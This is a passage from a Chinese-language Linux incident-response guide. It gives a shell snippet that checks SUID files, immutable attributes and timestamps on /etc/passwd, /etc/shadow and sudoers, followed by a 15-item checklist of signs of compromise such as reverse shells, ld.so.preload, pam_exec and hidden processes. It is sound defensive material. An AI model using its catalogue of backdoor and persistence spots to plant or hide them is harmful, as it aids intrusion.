第六阶段:文件权限和时间戳
1 2 3 4 5 6 7 8 9 10 11 12 echo "========== 6. 权限与时间戳 ==========" echo "[*] 异常 SUID 文件:" find / -perm -4000 -type f 2>/dev/null | grep -vE '^/(usr/(bin|sbin|lib)|bin|sbin)/' echo "[*] 关键文件 immutable 属性:" lsattr /etc/passwd /etc/shadow /etc/crontab 2>/dev/null echo "[*] /etc 下最近7天修改的文件:" find /etc -type f -mtime -7 -ls 2>/dev/null | head -20 echo "[*] 关键文件时间戳:" stat /etc/passwd /etc/shadow /etc/sudoers /etc/ssh/sshd_config 2>/dev/null
排查清单总结
序号
排查项
命令/方法
关注点
1
UID 0 账户
awk -F: '$3==0' /etc/passwd
除 root 外不应有其他
2
空密码账户
检查 /etc/shadow 第二字段
不应存在
3
NOPASSWD
grep -r NOPASSWD /etc/sudoers*
越少越好
4
SSH 密钥
检查 authorized_keys
未知的密钥、command=
5
认证日志
auth.log/secure
暴力破解、异常登录
6
登录记录
last, lastb
异常来源 IP
7
可疑进程
/proc/[pid]/ 各文件
已删除的 exe、异常 cwd
8
隐藏进程
对比 ps 和 /proc
不一致说明有 rootkit
9
临时目录
/tmp, /var/tmp, /dev/shm
可执行文件、隐藏文件
10
计划任务
crontab, cron.d, systemd timer
新增或异常的任务
11
SUID 文件
find / -perm -4000
非标准路径的 SUID
12
ld.so.preload
检查文件是否存在
正常不应存在
13
PAM 配置
/etc/pam.d/
pam_exec, pam_permit
14
Shell 配置
.bashrc, profile.d
反弹 shell、下载命令
15
时间戳
stat, ctime
mtime 与 ctime 不一致
导航 上一页:(本页为第一章)
下一页:Linux应急响应/02-进程与网络排查
目录:Linux应急响应